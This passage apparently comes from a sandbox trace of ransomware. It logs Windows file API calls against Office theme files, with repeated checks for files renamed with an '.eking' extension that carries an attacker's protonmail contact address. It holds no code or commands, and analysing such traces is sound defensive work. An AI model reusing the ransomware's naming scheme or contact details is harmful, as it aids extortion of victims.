(hObject=0x1e4) returned 1 [0173.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm")) returned 0x20 [0173.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm")) returned 0x20 [0173.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.814] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=595) returned 1 [0173.814] CloseHandle (hObject=0x1e4) returned 1 [0173.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf")) returned 0x20 [0173.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf")) returned 0x20 [0173.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.816] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1347) returned 1 [0173.816] CloseHandle (hObject=0x1e4) returned 1 [0173.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0173.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0173.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.818] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=32403) returned 1 [0173.818] CloseHandle (hObject=0x1e4) returned 1 [0173.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0173.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0173.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.819] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=47352) returned 1 [0173.819] CloseHandle (hObject=0x1e4) returned 1 [0173.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm")) returned 0x20 [0173.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm")) returned 0x20 [0173.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.820] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=529) returned 1 [0173.820] CloseHandle (hObject=0x1e4) returned 1 [0173.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf")) returned 0x20 [0173.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf")) returned 0x20 [0173.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.822] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1347) returned 1 [0173.822] CloseHandle (hObject=0x1e4) returned 1 [0173.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0173.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0173.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.823] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=26402) returned 1 [0173.823] CloseHandle (hObject=0x1e4) returned 1 [0173.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0173.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0173.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.825] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=77294) returned 1 [0173.825] CloseHandle (hObject=0x1e4) returned 1 [0173.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm")) returned 0x20 [0173.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm")) returned 0x20 [0173.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.827] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=547) returned 1 [0173.827] CloseHandle (hObject=0x1e4) returned 1 [0173.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf")) returned 0x20 [0173.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf")) returned 0x20 [0173.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.829] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1354) returned 1 [0173.829] CloseHandle (hObject=0x1e4) returned 1 [0173.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0173.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0173.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.830] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=32433) returned 1 [0173.830] CloseHandle (hObject=0x1e4) returned 1 [0173.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0173.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0173.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.831] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=103737) returned 1 [0173.831] CloseHandle (hObject=0x1e4) returned 1 [0173.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm")) returned 0x20 [0173.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm")) returned 0x20 [0173.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.126] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=597) returned 1 [0174.126] CloseHandle (hObject=0x1e4) returned 1 [0174.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf")) returned 0x20 [0174.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf")) returned 0x20 [0174.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.127] SetEvent (hEvent=0x174) returned 1 [0174.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.431] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=58092) returned 1 [0174.432] CloseHandle (hObject=0x1f0) returned 1 [0174.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm")) returned 0x20 [0174.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm")) returned 0x20 [0174.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.432] SetEvent (hEvent=0x174) returned 1 [0174.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.433] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1379) returned 1 [0174.433] CloseHandle (hObject=0x1f0) returned 1 [0174.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common 